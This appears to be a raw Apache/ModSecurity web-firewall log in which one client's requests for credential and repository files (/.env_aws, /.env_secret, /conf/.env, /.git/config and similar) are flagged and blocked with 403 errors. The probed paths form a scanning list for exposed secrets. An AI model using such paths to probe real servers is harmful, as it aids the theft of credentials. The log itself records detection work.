[Wed Feb 25 06:04:39.506528 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXBwAAAAQ&quot;]
[Wed Feb 25 06:04:39.657582 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXCAAAAAQ&quot;]
[Wed Feb 25 06:04:39.657870 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXCAAAAAQ&quot;]
[Wed Feb 25 06:04:39.658049 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXCAAAAAQ&quot;]
[Wed Feb 25 06:04:39.714132 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_copy&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXCQAAAAQ&quot;]
[Wed Feb 25 06:04:39.714421 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXCQAAAAQ&quot;]
[Wed Feb 25 06:04:39.714596 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXCQAAAAQ&quot;]
[Wed Feb 25 06:04:39.771471 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaVAAAAAA&quot;]
[Wed Feb 25 06:04:39.771754 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaVAAAAAA&quot;]
[Wed Feb 25 06:04:39.771952 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaVAAAAAA&quot;]
[Wed Feb 25 06:04:39.772786 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_private&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXCgAAAAQ&quot;]
[Wed Feb 25 06:04:39.773023 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXCgAAAAQ&quot;]
[Wed Feb 25 06:04:39.773165 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXCgAAAAQ&quot;]
[Wed Feb 25 06:04:39.841330 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_secret&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXCwAAAAQ&quot;]
[Wed Feb 25 06:04:39.841622 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXCwAAAAQ&quot;]
[Wed Feb 25 06:04:39.841804 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXCwAAAAQ&quot;]
[Wed Feb 25 06:04:39.944552 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaVQAAAAA&quot;]
[Wed Feb 25 06:04:39.944859 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaVQAAAAA&quot;]
[Wed Feb 25 06:04:39.945074 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaVQAAAAA&quot;]
[Wed Feb 25 06:04:39.959941 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXDAAAAAQ&quot;]
[Wed Feb 25 06:04:39.960201 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXDAAAAAQ&quot;]
[Wed Feb 25 06:04:39.960367 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXDAAAAAQ&quot;]
[Wed Feb 25 06:04:39.987479 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXDQAAAAQ&quot;]
[Wed Feb 25 06:04:39.987740 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXDQAAAAQ&quot;]
[Wed Feb 25 06:04:39.987898 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXDQAAAAQ&quot;]
[Wed Feb 25 06:04:40.005760 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaVgAAAAA&quot;]
[Wed Feb 25 06:04:40.006027 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaVgAAAAA&quot;]
[Wed Feb 25 06:04:40.006206 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaVgAAAAA&quot;]
[Wed Feb 25 06:04:40.094572 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaVwAAAAA&quot;]
[Wed Feb 25 06:04:40.095642 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaVwAAAAA&quot;]
[Wed Feb 25 06:04:40.095831 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaVwAAAAA&quot;]
[Wed Feb 25 06:04:40.107832 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXDgAAAAQ&quot;]
[Wed Feb 25 06:04:40.108134 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXDgAAAAQ&quot;]
